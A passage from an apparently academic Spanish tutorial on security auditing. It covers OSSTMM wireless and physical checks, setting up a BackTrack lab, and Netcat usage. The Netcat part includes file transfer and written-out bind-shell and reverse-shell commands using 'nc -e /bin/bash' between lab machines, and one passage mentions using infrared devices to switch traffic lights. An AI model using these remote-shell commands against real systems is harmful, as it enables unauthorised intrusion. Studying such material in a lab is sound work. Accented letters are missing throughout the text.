entre amigos y enemigos. Los primeros chips fueron desarrollados en los laboratorios en los
sesenta, y en la siguiente dcada, el gobierno de los EEUU los utiliz para autorizar a los camiones
que entraban en Los Alamos National Laboratory y otras instalaciones de seguridad.
Los chips comerciales se generalizaron en los ochenta, y los RFID se utilizaban para marcar
propiedades difciles de manejar tales como animales de granja(Figura 19: ) y coches de carretera.
Pero, ha sido en estos ltimos aos, cuando el mercado de los RFID se han expandido, dirigidos por
avances de las bases de datos informticas y las bajadas de los precios de los chips. Ahora, docenas
de compaas, como Motorola, Philips o Texas Instruments las fabrican en cantidades industriales.

Figura 19:
Las etiquetas RFID se basan en la emisin de unos pocos bits de informacin a lectores electrnicos
especializados. La mayora de los chips RFID comerciales son emisores pasivos, lo cual significa
que no llevan alimentacin (como batera o pilas): envan una seal solamente cuando las ondas
recibidas los alimentan con un chorro de electrones. Una vez alimentados, emiten su seal
indiscriminadamente dentro de un cierto rango, normalmente de entre unos pocos centmetros a un
par de metros. Los emisores activos, con alimentacin interna, pueden enviar seales a cientos de
Pgina 61

metros; estos son utilizados en, por ejemplo, algunos pagos de peaje automatizados de EEUU.
Como medida de seguridad, las seales RFID pueden ser cifrados. Estos chips, que probablemente
acaben siendo implantados en documentos de identidad, por ejemplo, son los candidatos ideales
para ser codificados, y haciendo que sea ms difcil para los lectores no autorizados recavar
informacin. Pero los RFID comerciales (refirindonos por comerciales a los de los
supermercados), no incluyen cifrados, ya que suele ser bastante caro: un chip RFID cifrado cuesta
alrededor de 5$, lo cual no lo hace rentable muchas veces.
Esto hace, que la mayora de los RFID sean vulnerables a su clonacin, o si el chip tiene reas de
memoria que permitan escritura, el insertarle datos. Siendo as, se permitira el cambiar precios, por
ejemplo, una opcin muy atractiva para delincuentes.

10. Testeo de Infrarrojos

La radiacin infrarroja, radiacin trmica o radiacin IR es un tipo de radiacin electromagntica de
mayor longitud de onda que la luz visible, pero menor que la de las microondas. Consecuentemente,
tiene menor frecuencia que la luz visible y mayor que las microondas.
El nombre de infrarrojo significa por debajo del rojo pues su comienzo se encuentra adyacente al
color rojo del espectro visible.
Los infrarrojos se pueden categorizar en:
infrarrojo cercano (0,78-1,1 m)
infrarrojo medio (1,1-15 m)
infrarrojo lejano (15-100 m)
Infrared Data Association (IrDA) define un estndar fsico en la forma de transmisin y recepcin
de datos por rayos infrarrojo. IrDA se crea en 1993 entre HP, IBM, Sharp y otros.
Esta tecnologa est basada en rayos luminosos que se mueven en el espectro infrarrojo. Los
estndares IrDA soportan una amplia gama de dispositivos elctricos, informticos y de
comunicaciones, permite la comunicacin bidireccional entre dos extremos a velocidades que
oscilan entre los 9.600 bps y los 4 Mbps. Esta tecnologa se encuentra en muchos ordenadores
porttiles, y en un creciente nmero de telfonos celulares, sobre todo en los de fabricantes lderes
como Nokia y Ericsson.
El FIR (Fast Infrared) se encuentra en estudio, con unas velocidades tericas de hasta 16 Mbps.
En cuanto aspectos de seguridad, ofrece cada vez menos y menos atractivo desde el punto de vista
de un atacante. Con la aparicin de nuevas tecnologas como Bluetooth, wireless etc... los
dispositivos que utilizan infrarrojos van disminuyendo. Adems, se encuentran limitados por el
espacio y los obstculos. El hecho de que la longitud de onda de los rayos infrarrojos sea tan
pequea (850-900 nm), hace que no pueda propagarse de la misma forma en que lo hacen las
seales de radio, por lo que un atacante necesitara estar muy cerca, y siendo as, probablemente le
sea ms til realizar el ataque por otros medios, ya que dispone de acceso fsico al dispositivo.
Existen redes infrarrojas que suelen estar dirigidas a oficinas o plantas de oficinas de reducido
tamao. Algunas empresas, van un poco ms all, transmitiendo datos de un edificio a otro
mediante la colocacin de antenas en las ventanas de cada edificio, aunque esto est cada vez
menos extendido.
Como ejemplos de qu se puede realizar desde el punto de vista de un atacante:
Controlar televisiones u otros dispositivos que utilicen infrarrojos como mando a distancia. Quizs
podra utilizarse como forma de denegacin de servicio, o distraer a un posible vigilante.
Pgina 62

Cambiar semforos a verde. Algunos semforos son manejados por infrarrojos, por lo que es
posible manejarlos. Existen manuales por la red para construir dispositivos que realicen esto. Basta
con teclear en cualquier buscador MIRT, e incluso lo venden en algunas web.
Algunas puertas de garaje antiguas solan funcionar por infrarrojos, pero hoy en da la gran mayora
funcionan por radiofrecuencia.
Por lo que vemos, que las implicaciones no son demasiadas debido al avance de las tecnologas (ya
que las tecnologas inalmbricas favoritas son radiofrecuencia), pero debemos realizar algunas
comprobaciones mnimas para poder evitar algn susto.

11. Revisin de privacidad

En este mdulo que cierra la seccin inalmbrica de la OSSTMM. En esta concretamente, se
estudia si es posible el sniffar (o husmear) las conexiones inalmbricas, en busca de datos que
pudieran ser descifrados por un atacante.

Seccin F Seguridad Fsica

En esta seccin se revisan y comprueban condiciones y propiedades de la empresa desde un punto
de vista mucho menos informtico que el resto de la metodologa. Generalmente, existe un experto
dentro del equipo de auditores que ser especialista en seguridad fsica, por lo que no se dedicar
especial atencin a este apartado. No obstante, se incluye una breve explicacin de cada uno de los
mdulos a nivel informativo.

1. Revisin de Permetro
En este mdulo se revisan todas las medidas de seguridad que existen para proteger los lmites de la
organizacin y sus activos. Se revisan medidas de proteccin tales como vallas, luces, muros etc...

2. Revisin de Monitorizacin
En este mdulo se revisan dispositivos de monitorizacin de los puntos de acceso. Mas que la
revisin de los propios dispositivos, se busca el comprobar que lugares estn monitorizados, si los
dispositivos estn correctamente situados. Es decir, si hay lugares sin vigilar, otros demasiado
vigilados etc...

3. Testeo de Controles de Acceso

En este mdulo, se listan todos los lugares de acceso que tiene la organizacin fsicamente
hablando. Comprobando lo complejos que son, tipos de autenticacin para darle privilegios de
acceso a esa persona etc... Ejemplos podran ser, el requerir una tarjeta de identificacin que hay
que mostrar a un vigilante jurado, escner de retina, tipos de alarma etc...

4. Revisin de Respuesta ante Alarma

Aqu se comprueba el tipo de respuestas que tiene una organizacin ante una alarma. Se revisa qu
personas deberan estar involucradas ante qu alarmas, y cmo deberan de actuar ante los distintos
tipos de alarma que pueden activarse

5. Revisin de Localizacin
ste es un mtodo de ganar acceso a una organizacin a travs de las debilidades de su localizacin
y proteccin de elementos externos. Por ejemplo, comprobar lneas de visin que existen hasta la
Pgina 63

organizacin, posibles lugares desde los que es posible escuchar dentro de la organizacin (por
ejemplo escuchas lser), horas de luz solar, clima etc... Es decir, se trata de revisar condiciones
externas a la propia organizacin, y que pudieran afectar a su seguridad segn donde se encuentra la
empresa.

6. Revisin del Entorno

En este mdulo se revisan condiciones alrededor de la organizacin, tales como las condiciones de
desastres naturales de la empresa, polticas locales, costumbres y tica. Se comprueban condiciones
que no dependen de la propia organizacin, y no solamente fsicamente, sino a su contexto y
entorno.

Pgina 64

Parte 2: Conceptos Tcnicos

Pgina 65

Introduccin
La finalidad de esta parte tcnica del documento, es tratar de ver, y estudiar, un conjunto de
herramientas software de uso en las auditoras de seguridad informtica.
Se presentarn, divididos en dos partes, distintos puntos de vista para poder aplicar las herramientas
que se van a estudiar, enfocado hacia el aprendizaje de las mismas por parte del lector. As mismo,
se presentan tambin junto con los problemas y observaciones encontradas durante el estudio del
autor.
Como primera parte, se estudiar la Backtrack, junto con algunas herramientas que contiene. Ser
una primera parte de aprendizaje de herramientas, siguiendo un orden lgico para comprender su
aprendizaje, aunque sin una relacin causal entre ellas.
La segunda parte, ser introducir un caso prctico en el que poder utilizar herramientas de seguridad
con un objetivo en mente: obtener el control del sistema. Por lo tanto, se irn presentando las
herramientas en un orden causal (siguiendo las necesidades que vayan apareciendo para cumplir el
objetivo), e introduciendo valoraciones y aportaciones personales del autor.
A continuacin, se presenta ya la primera parte: La distribucin Backtrack.

Introduccin a Backtrack y justificacin

Backtrack nace de la fusin de dos conocidas distribuciones de linux : Whax (evolucin de
Whoppix , o white hat Knoppix) y Auditor Security Collection, tras lo cual gan en popularidad
llegando a ser votada como la mejor distribucin live de seguridad informtica segn insecure.org
(web de gran prestigio dentro del mbito de la seguridad informtica). sta distribucin ha ido
basndose en distintas distribuciones, aunque a fecha de hoy, est basada en una Slackware,
optimizada para ser utilizada por security penetration testers.
Se ha elegido utilizar esta distribucin de linux, porque aparte de la gran fama de la que dispone
(muy merecida, por cierto), contiene una gran gama de herramientas dedicadas a la seguridad
informtica preinstaladas, que junto con la posibilidad de arrancar el cd como live cd, lo hacen una
de las herramientas de seguridad informtica ms potentes que existen actualmente. Y no slo en el
mundo del software libre, sino que incluye tambin al software de pago. Muchas empresas lo
utilizan para realizar sus auditoras de seguridad informtica, y hoy en da goza de un gran futuro,
siendo la versin 4 (beta) la ms recientemente puesta a la disposicin del pblico.

Instalacin del ambiente de pruebas

Como primera decisin, debamos decidir el sistema operativo a utilizar para poder realizar el
presente trabajo. Viendo las opciones disponibles, se decidi instalar una Ubuntu 8.04 a 64 bit como
sistema operativo base sobre el cual trabajar. Se ha elegido porque es un sistema operativo libre (y
gratuito) con 64 bits, para poder aprovechar los 4GB de RAM que tiene el equipo. La otra
alternativa, (desechada por la razn expuesta anteriormente) era Windows Vista a 32 bit.
El siguiente paso, ha sido el decidir qu entorno de virtualizacin utilizar. En el mercado existen
bastantes alternativas, y entre las libres (y ms famosas) estn VMWare, VirtualBox y Qemu. Dado
que el autor del presente texto haba trabajado anteriormente con VMWare, se ha decidido utilizar
ste. La siguiente cuestin a decidir, era elegir qu VMWare utilizar. Las tres alternativas que se han
barajado, han sido el Player, el Server y el Workstation. Una de las prioridades, era el poder tener la
mnima carga posible, por lo que se ha descartado el Server (preparado para servidores).
Seguidamente, la duda estaba entre Player y Workstation. A pesar de que el Workstation es ms
completo (y puede crear mquinas virtuales), es de pago, por lo que se ha decidido utilizar el
VMWare player. Se descarg el programa de la web oficial (http://vmware.com/), nos registramos
(de forma gratuita), y tras la descarga se instal en el sistema. Ahora bien, existe un problema: el
Pgina 66

programa que contena la red emulada con la que se va a realizar las pruebas, est en el formato .iso,
y nos falta un entorno de ejecucin, es decir, la mquina virtual VMWare. VMWare Player no nos
permite la creacin de mquinas virtuales, por lo que se estuvo estudiando la posibilidad de buscar
entre tcnicos de laboratorio de la facultad de informtica, o algn conocido que pudiera crear la
mquina virtual para asociarle la iso (de forma legal). Finalmente se encontr una solucin, que
describo a continuacin:
En los archivos .vmx de las mquinas virtuales para VMWare, viene especificado en texto plano, la
configuracin de la mquina virtual. El siguiente extracto, es parte de una mquina virtual
cualquiera, en el que se ha modificado la lnea donde viene especificada la iso que he modificado a
mano para poder utilizar la iso descargada:
.encoding = "UTF-8"
# VM Machine Info
guestOS = "linux"
displayName = "Linux"
config.version = "7"
memsize = "128"
# CDROM Info
ide1:0.present = "TRUE"
ide1:0.fileName = "Lab_Virtual_Labs.DragonJAR.iso"
ide1:0.deviceType = "cdrom-image"
Al ejecutar VMWare Player, elegimos cargar una mquina virtual existente, seleccionando el .vmx
que acabbamos de modificar, cargndose perfectamente.
Tras esto, solo nos queda descargarnos una mquina virtual de la web oficial de Backtrack 3 (http://
www.remote-exploit.org/backtrack.html).
Una vez descargada, solamente queda el cargar la mquina virtual con VMWare, que funcion sin
problemas.
Por ltimo, se ha cambiado el tipo la configuracin de red de las mquinas virtuales para que
utilicen NAT, creando as una intranet, para que puedan comunicarse unas con otras, y adems,
puedan comunicarse con el exterior.

Backtrack servicios bsicos

En esta seccin, se explica como iniciar algunos servicios bsicos que ofrece la distribucin
Backtrack preinstaladas. Ser de utilidad para poder realizar pruebas contra estos servicios, o para
poder utilizar esta distribucin de forma remota.

Cambiar la contrasea que viene por defecto en BackTrack.

Una parte esencial de la seguridad, es el no dejar nunca las configuraciones por defecto que ofrecen
los programas. Y ms an si se trata de algo tan importante como lo es la contrasea de root. Por lo
tanto, lo primero que se ha realizado sobre la distribucin, es el cambiar la contrasea utilizando el
comando passwd para introducir la contrasea que queramos.

Configuracin y puesta en marcha los servicios bsicos de BackTrack.

Se ha explorado por el rbol de directorios y los menus grficos, observando las distintas
herramientas.
Tras echar un vistazo, y viendo los servicios disponibles, se eligi SSH, Web, atftp y vnc. Esto es
Pgina 67

as porque vienen a ser servicios que o bien son populares en la red actual, o bien porque ofrecen
bastante utilidad al auditor. Pasamos pues, a describirlas a continuacin:

Puesta en marcha de servidor SSH

A continuacin, se ha probado a ejecutar un servidor de SSH, para lo que se ha generado una clave
pblica, para poder habilitar el servicio:
#sshd-generate
Generating public/private rsa1 key pair.
Your identification has been saved in /etc/ssh/ssh_host_key.
Your public key has been saved in /etc/ssh/ssh_host_key.pub.
The key fingerprint is:
df:2e:7b:0c:af:34:75:ed:bb:ba:37:e0:b0:21:7c:15 root@bt
Generating public/private rsa key pair.
Your identification has been saved in /etc/ssh/ssh_host_rsa_key.
Your public key has been saved in /etc/ssh/ssh_host_rsa_key.pub.
The key fingerprint is:
f6:19:15:65:84:26:87:bd:e8:de:1b:03:e8:d3:5f:00 root@bt
Generating public/private dsa key pair.
Your identification has been saved in /etc/ssh/ssh_host_dsa_key.
Your public key has been saved in /etc/ssh/ssh_host_dsa_key.pub.
The key fingerprint is:
dc:f4:cf:6f:09:68:eb:5b:c8:b6:ae:10:c5:c2:69:71 root@bt
A continuacin, se ha lanzado el servidor (que estar escuchando en el puerto 22):
#/usr/sbin/sshd
Y ya que el comando no devuelve respuesta, hemos comprobado que efectivamente est
escuchando:
# netstat -ant|grep 22
tcp
LISTEN

0 0.0.0.0:22

0.0.0.0:*

Finalmente, hemos probado a conectarnos al servidor desde una terminal real:

~$ ssh root@192.168.197.129
root@192.168.197.129's password:
Last login: Fri Feb 20 13:38:38 2009
Linux 2.6.21.5.
bt ~ # echo hola
Pgina 68

hola
Como vemos, funciona correctamente. Es una forma sencilla de poder conectarnos a Backtrack
cuando queramos trabajar desde l, a travs de una shell de la mquina local.
El siguiente servicio a probar, ser un servidor Web, uno de los servicios desde los cuales las
empresas se comunican con el exterior:

Servidor Web
Uno de los servicores webs ms utilizados a lo largo de la red, es el Apache. Es bien conocido, ya
que es libre, y suele ser bastante robusto. Por lo tanto, ser un buen ejemplo para aprender a ponerlo
en marcha, y poder practicar, y un buen ejemplo de servicio bsico de Bactrack.
Para ponerlo en marcha, ejecutamos:
bt ~ # apachectl start
httpd: Could not reliably determine the server's fully qualified
domain name, using 127.0.0.1 for ServerName
bt ~ # netstat -ant|grep 80
tcp
LISTEN

0 192.168.197.129:80

0.0.0.0:*

Aqu, vemos como hemos ejecutado el apache y la respuesta que obtenemos. Parece que nos
devuelve un error, pero es normal obtenerlo. Como no tenemos configurado un dominio para el
Apache, ste no es capaz de encontrarlo, y dice que estar en 127.0.0.1 (la loop ip). Para comprobar
que el servicio est en marcha, entramos en nuestro navegador web favorito, introducimos la ip de
la mquina virtual de la Backtrack, y comprobamos que el servidor web est corriendo (Figura 20:
):

Figura 20:
Tenemos ante nosotros, una pgina web que ofrece Apache por defecto, para que podamos ver que
efectivamente el servicio est en marcha, y funcionando correctamente.

Servidor atftpd
El siguiente servicio a probar, es el atftpd, que es el servidor que incluye backtrack 3 para TFTP
(Trivial File Transfer Protocol). Vamos a ejecutar el daemon, y dejarlo escuchando en el puerto 69:
bt / # atftpd --daemon --port 69 /tmp/

Pgina 69

bt / # netstat -anu | grep 69

udp

0 0.0.0.0:69

0.0.0.0:*

Para comprobar que funciona, en la mquina de Bactrack, ponemos un archivo, por ejemplo:
bt tmp # echo hola> hola.txt
Y ahora, desde nuestra mquina local, instalamos el tftp (el cliente) si no lo tenemos. En nuestro
caso, hemos ejecutado:
alberaan@Smaug:~$ sudo apt-get install tftp
Al acabar la instalacin, vamos a intentar bajarnos a la mquina local, el archivo hola.txt:
alberaan@Smaug:~$ tftp
tftp> connect
(to) 192.168.197.129
tftp> get hola.txt
Received 6 bytes in 0.0 seconds
tftp> q
Podremos comprobar entonces, que el archivo lo tenemos en el directorio actual donde hemos
ejecutado el cliente tftp.

Servidor VNC
El ltimo servicio bsico que vamos a probar, es el vncserver. VNC (virtual network computing) es
un sistema de escritorio remoto, el cual puede ser muy til en caso de querer realizar tests de
penetracin. Ejecutaremos el vncserver en la backtrack:
bt ~ # vncserver
You will require a password to access your desktops.
Password: acceder
Verify:

acceder

Would you like to enter a view-only password (y/n)? n

New 'X' desktop is bt:1
Starting applications specified in /root/.vnc/xstartup
Log file is /root/.vnc/bt:1.log
En el cdigo pegado arriba, he puesto el password visible, para poder poner un ejemplo. Ahora
Pgina 70

trataremos de acceder al escritorio remoto. Primero, vamos a comprobar que el servicio est
corriendo, y de paso, averiguamos el puerto concreto (puede variar de una versin a otra) , y
podemos hacer el netstat como hemos venido haciendo hasta ahora:
bt / # netstat -anu | grep 590
udp

0 0.0.0.0:5902

0.0.0.0:*

LISTEN

Bien, ahora sabemos, que el puerto 5902 est escuchando el servidor vnc. Para comprobarlo, vamos
a usar el navegador web (en mi caso Firefox), y comprobar que funciona. Se cargar el siguiente
applet(Figura 21: ):

Figura 21:

Introducimos ah la contrasea que hemos puesto al arrancar el vncserver, y nos encontramos con el
escritorio de nuestra backtrack(Figura 22: ):

Figura 22:
El servicio no funciona demasiado bien a travs del cliente web, pero es una forma muy cmoda de
poder ver lo que hay al otro lado de la conexin, y poder manejarlo a golpe de click. Servicios
similares se vienen utilizando desde hace mucho tiempo por hackers para poder divertirse con la
vctima, ya que ofrece un control muy vistoso.
Una vez vistos todos los servicios bsicos, es hora de avanzar hacia la siguiente seccin, y estudiar
la herramienta Netcat.

Backtrack Netcat
Netcat es una herramienta multiplataforma que lee y escribe datos a travs de conexiones de red.
Pgina 71

Era utilizado como una herramienta utilizada por administradores y programadores para depurar
apliaciones de red, con la curiosidad de que no se haba descubierto todos los comandos que
mermita. Por estos motivos, tuvo un gran auge entre la comunidad Hacker, y a menudo era referida
como la navaja multiusos del hacker. Entre otras cosas (que veremos ms adelante), permite
comprobar disponibilidad de puertos, qu aplicaciones corren y escuchan este puerto, conectarnos a
un servicio de red de forma manual (como haramos con Telnet). Fue usado, sobre todo por su
capacidad de abrir puertas traseras.
Una vez nos hemos documentado un poco sobre qu es, y un poco de su historia, nos sentamos
delante de nuestra Backtrack (que trae Netcat por defecto). Lo que se ha hecho, ha sido abrir de
nuevo el servidor ssh y el servidor Apache, para poder realizar las pruebas desde la mquina local
hacia la Backtrak, y aprender a conectarnos usando Netcat. Una vez nos hemos conectado a la
Backtrack por ssh tecleamos:
bt ~ # nc -h
[v1.10]
connect to somewhere:

nc [-options] hostname port[s] [ports] ...

listen for inbound:

nc -l -p port [-options] [hostname] [port]

options:
-e prog
[dangerous!!]

program to exec after connect

-b

allow broadcasts

-g gateway

source-routing hop point[s], up to

-G num

source-routing pointer: 4, 8,

-h

this cruft

8
12, ...
-i secs
ports scanned

delay interval for lines sent,

-l
-n

listen mode, for inbound connects

numeric-only IP addresses, no DNS

-o file

hex dump of traffic

-p port

local port number

-r

randomize local and remote ports

-q secs

quit after EOF on stdin and delay of secs

-s addr

local source address

-t

answer TELNET negotiation

-u

UDP mode

-v

verbose [use twice to be more verbose]

-w secs
-z

timeout for connects and final net reads

zero-I/O mode [used for scanning]

port numbers can be individual or ranges: lo-hi [inclusive]

Pgina 72

Aqu vemos las distintas opciones que nos ofrece Netcat. Una opcin interesante, es -vv para
poder obtener la mayor informacin posible. Tecleamos para ver que aplicacin hay escuchando en
el puerto 22 en nuestra propia mquina:
bt ~ # nc -vv 192.168.197.129 22
192.168.197.129: inverse host lookup failed: Unknown host
(UNKNOWN) [192.168.197.129] 22 (ssh) open
SSH-1.99-OpenSSH_5.0
sent 0, rcvd 21
Efectivamente, hay un servidor ssh escuchando ese puerto. Concretamente, OpenSSH 5.0. Ahora,
vamos ver el puerto 80:
bt ~ # nc -vv 192.168.197.129 80
192.168.197.129: inverse host lookup failed: Unknown host
(UNKNOWN) [192.168.197.129] 80 (http) open
sent 0, rcvd 0
Como vemos, hay un servidor de http abierto.
Ya comprendemos el uso bsico de Netcat, y ahora, sera conveniente aprender como utilizarlo para
realizar tests de intrusin.

Identificando Banners de Servidores web

Una de las funcionalidades de Netcat, es la identificaciones de banners. Esto es, ver informacin
que nos devuelve un servidor cuando nos conectamos desde un cliente (generalmente desde modo
texto).
La identificacin de Banners nos es til, porque nos devuelve algo de informacin del sistema de
forma no intrusiva, y por lo tanto, totalmente legal, y sin levantar sospechas.
En nuestro caso, vamos a hacerlo contra el servidor web de Backtrack.
Para ello, hay que teclear:
bt ~ # nc -vv 192.168.197.129 80
192.168.197.129: inverse host lookup failed: Unknown host
(UNKNOWN) [192.168.197.129] 80 (http) open
El prompt se queda esperando a que realicemos alguna peticin. Aqu, tecleamos una peticin http,
y le damos a enter dos veces (importante, http espera 2 retornos de carro segn el estndar), tras lo
cual obtenemos lo siguiente:
bt ~ # nc -vv 192.168.197.129 80
192.168.197.129: inverse host lookup failed: Unknown host
(UNKNOWN) [192.168.197.129] 80 (http) open
HEAD / HTTP/1.0
HTTP/1.1 200 OK
Pgina 73

Date: Fri, 13 Mar 2009 12:04:10 GMT

Server: Apache/2.2.8 (Unix) DAV/2
Last-Modified: Sat, 20 Nov 2004 20:16:24 GMT
ETag: "485a0-2c-3e9564c23b600"
Accept-Ranges: bytes
Content-Length: 44
Connection: close
Content-Type: text/html
De aqu, lo ms importante que obtenemos, son los datos del server (Apache versin 2.2.8 UNIX),
que nos servir para en un futuro poder encontrar exploits o bugs conocidos para esa versin
concreta del servidor. Telnet nos ofrece esta misma informacin, pero vemos que nc incluye una
herramienta igual (o equivalente integrada), que nos proporciona la misma funcionalidad, por lo que
nos puede ser una herramienta sustituta, y as poder aprender como hacerlo en sistemas donde falte
una o la otra. Tambin es bueno aprenderlo desde Netcat porque ya que es una herramienta que va a
integrar ms funcionalidades, podemos trabajar de forma rpida con ella, al no tener que ir
cambiando de programa.

Modo Listen de Netcat

La siguiente funcionalidad que vamos a ver de netcat, es el modo listen de netcat. Es una tarea que
ha sido muy utilizada con Netcat, para depurar clientes/aplicaciones de red, por ejemplo.
En nuestro caso, vamos a montar dos netcats en dos mquinas distintas, para comunicarnos como si
fuera un chat. Vamos a usar nuestra Backtrack y nuestra mquina local (netcat viene instalado
tambien por defecto en Ubuntu 8.04, que es la que estamos utilizando).
Primero, desde la backtrack, vamos a iniciar el netcat en modo escucha:
bt ~ # nc -lvvp 12345
listening on [any] 12345 ...
192.168.197.1: inverse host lookup failed: Unknown host
Acabamos de dejar escuchando en el puerto 12345 el netcat. Ahora, nos conectamos desde Ubuntu.
Abrimos una terminal y tecleamos:
alberaan@Smaug:~$ nc -vv 192.168.197.129 12345
192.168.197.129: inverse host lookup failed: Unknown host
(UNKNOWN) [192.168.197.129] 12345 (?) open
Ya tenemos las dos mquinas conectadas en un chat(Figura 23: ):

Pgina 74

Figura 23:
La utilidad de esto en un principio podra parecer nula (mas all de sus aplicaciones de ocio), pero
como veremos ms adelante, el mundo de posibilidades que nos ofrece, es inmenso, sobre todo
desde el punto de vista de tests de intrusin. Una de nuestars metas a la hora de tratar de penetrar en
un sistema, ser el poder colocar un Netcat en modo listen (o similar)en la mquina objetivo. Es por
ello, vital, aprender a realizar esto.

Envo de archivos
Lo siguiente que vamos a probar, es a enviar archivos mediante Netcat. La utilidad prctica de esto,
es que una vez tengamos acceso al sistema, podamos intercambiar ficheros con l, y poder
continuar con la auditora. Un usuario malintencionado podra subir virus, troyanos etc.., y de igual
forma, nosotros podramos subir software similar para poder continuar con la escalada de
privilegios, o continuar con el test de penetracin en cuestin. Para ello, vamos a dejar netcat a la
escucha en Backtrack, y redirigiremos la salida a un archivo de texto:
bt ~ # nc -lvp 12345 > salida.txt
listening on [any] 12345 ...
Y desde Ubuntu, creamos el archivo de texto a enviar, y nos conectamos como hemos hecho antes,
enviando el contenido del archivo:
alberaan@Smaug:~$ echo Esto es un archivo > test.txt
alberaan@Smaug:~$ nc -vv 192.168.197.129 12345 < test.txt
192.168.197.129: inverse host lookup failed: Unknown host
(UNKNOWN) [192.168.197.129] 12345 (?) open
Finalmente, vemos el contenido del archivo salida.txt que habr quedado en Backtrack:
bt ~ # cat salida.txt
Esto es un archivo
Hemos de resaltar, que esto se podra hacer con cualquier tipo de archivo, ya que se transmite bit a
bit, por lo que podramos transferir no slo texto, sino cualquier tipo de archivo. Hemos realizado
de nuevo lo anterior, solo que redirigiendo un archivo de imagen en lugar de texto, y transferido con
el mismo mtodo. Desde Backtrack:
Pgina 75

bt ~ # nc -lvp 12345 > imagen.jpeg

listening on [any] 12345 ...
Desde Ubuntu:
alberaan@Smaug:~$ nc -vv 192.168.197.129 12345 < imagen.jpeg
192.168.197.129: inverse host lookup failed: Unknown host
(UNKNOWN) [192.168.197.129] 12345 (?) open

Finalmente, desde Backtrack podemos abrir la imagen con cualquier visor de imgenes, y
comprobar, que efectivamente, el archivo se ha transferido correctamente.
Esta ltima parte, result ser sorprendente: como es posible que, con un programa con el que antes
habamos enviado texto, podamos ahora enviar una imagen?
Ahora que ya conocemos como comunicarnos con la mquina vctima, es un paso lgico el
aprender como controlarla con una shell.

Administracin remota
Vamos a ejecutar desde Ubuntu el Netcat para que abra una shell en la mquina remota, y poder
ejecutar comandos. Esta es una de las metas de cualquier hacker, para tener control sobre la
mquina/as objetivo. El asaltarla, y el poder procurarse de una interfaz para poder interactuar con la
mquina, y dejarse una puerta trasera para poder acceder posteriormente de una forma ms fcil y
rpida. Netcat ofrece una forma de hacerlo, ya que permite el que se ejecute un programa en cuanto
algo se conecte a l. Lo primero que podemos pensar, es en una shell: bash. Dicho esto, vamos a
proceder a obtener control desde Ubuntu sobre Backtrack:
Desde backtrack dejaremos netcat a la escucha del puerto 12345, tal y como hemos hecho antes.
Ahora usaremos un nuevo parmetro: -e seguido del ejecutable que queremos que se ejecute al
conectarse a l un cliente. Hay que aadir, que no ejecutar el programa si no ponemos la ruta
completa o la relativa. Como queremos obtener una shell, ponemos la shell de linux que est en
/bin/bash. En nuestro caso nos hemos movido a ese directorio y ejecutado la orden desde all. En
caso de querer obtener una shell en windows, lo que haramos sera poner cmd.exe, que es la shell
que ofrece esta gama de sistemas operativos. A continuacin la orden en backtrack:
bt bin # nc -lvp 12345 -e bash
listening on [any] 12345 ...
192.168.197.1: inverse host lookup failed: Unknown host
connect to [192.168.197.129] from (UNKNOWN) [192.168.197.1] 44119
Hemos puesto Netcat a la escucha, y decidmos que queremos que ejecute bash.
Ahora nos conectamos desde la shell de Ubuntu, tal y como venimos haciendo hasta ahora. Esto
har que se ejecute el bash en la mquina cliente, y podremos empezar a trabajar como si fuera una
shell local (aunque algunas cosas cambiarn, por ejemplo, no se mantienen los alias):
alberaan@Smaug:~$ nc -v 192.168.197.129 12345
192.168.197.129: inverse host lookup failed: Unknown host
(UNKNOWN) [192.168.197.129] 12345 (?) open

Pgina 76

Aqu (aunque no aparezca el promt), podemos ejecutar rdenes igual que si fuera nuestra propia
shell: hemos conseguido entrar en el sistema (con los permisos que tenga el usuario que haya
ejecutado el Netcat en la mquina vctima).

Shell inversa
Muchas veces, sucede que no tenemos control sobre el cmo acceder a la mquina vctima. Ya sea
porque la mquina vctima tiene una IP dinmica, no es visible desde otras redes porque est tras un
router con NAT. Tambin puede ser porque el firewall filtre las conexiones entrantes etc... Una
buena idea para solventar esto, es usar Netcat para crear una shell inversa.
Una shell remota normal, abre un puerto y espera recibir conexiones entrantes desde un cliente (el
modo de proceder est descrito en el paso anterior). Esto no se podra hacer en alguno de los casos
descritos en el prrafo anterior.
Una shell inversa, se suele utilizar cuando se da un caso de los mencionados arriba. Es el cliente el
que se conecta a un puerto abierto de la mquina atacante. De esta forma, el atacante puede
controlar que no se den las condiciones mencionadas en su propia red/mquina.
Vista la importancia de esta opcin en netcat, pasamos a probarlo en nuestras terminales:
Para este ejemplo, vamos a usar la mquina local (Ubuntu) como atacante, y la Backtrack como
vctima.
Desde Ubuntu, dejamos netcat a la escucha, de la misma forma que venimos haciendo hasta ahora:
alberaan@Smaug:~$ nc -lvp 12345
listening on [any] 12345 ...
Y desde Backtrack, le decimos a que IP conectarnos, y que ejecute /bin/bash en cuanto se realice la
conexin:
bt ~ # nc -v 192.168.197.1 12345 -e /bin/bash
192.168.197.1: inverse host lookup failed: Unknown host
(UNKNOWN) [192.168.197.1] 12345 (?) open
Ahora, desde nuestra mquina ubuntu, podemos ejecutar un ls, para comprobar que efectivamente,
tenemos una shell abierta en Backtrack. Como nota adicional, podemos ver, que el atacante se
conecta como si fuera el usuario que ejecuta el netcat en la mquina vctima. Desde ubuntu
ejecutamos el comando whoami (para saber que usuario somos), y obtenemos como respuesta:
whoami
root
Con esto, finalizamos la primera parte del trabajo. Ya conocemos algunas herramientas y servicios
bsicos que tenemos a nuestra disposicin y pasamos a la segunda parte.

Test de penetracin
La finalidad de esta segunda parte, ser el mostrar el aprendizaje de herramientas y tcnicas para
poder realizar un Test de Penetracin haciendo uso de la distribucin BackTrack. Es decir,
aplicaremos los conocimientos aprendidos en el primer taller a un ejemplo real (emulado), y nos
adentraremos en los test de intrusin en un sistema que no importar que se dae, y legal para
realizarlo, y por lo tanto, un entorno de prcticas ideal.
Como segundo objetivo, ser el obtener la contrasea de root del sistema atacado.
Pgina 77

Introduccin
Conociendo ya algunas herramientas de seguridad, y tras haber estudiado la auditora OSSTMM,
tenemos el conocimiento suficiente como para poder realizar un pequeo test de intrusin, y
adentrarnos en un caso concreto. Este escenario, es una .iso que fue creada con la finalidad de ser
utilizada como entorno de pruebas de seguridad informtica. Su descripcin es la siguiente:
El escenario sobre el cual vamos a trabajar, emula el CEO (Chief
Executive Officer o director ejecutivo) de una pequea empresa que
ha sido presionado por el Comit Administrativo para ser objeto de
un Test de Penetracin a realizarse desde la empresa. El Director
General afirma que su empresa es segura, cree adems de que este
Test de Penetracin ser un enorme desperdicio de dinero, sobre
todo porque ya tiene una solucin de exploracin (escaneo) de
vulnerabilidades (Nessus). Para hacer felices a los del Comit
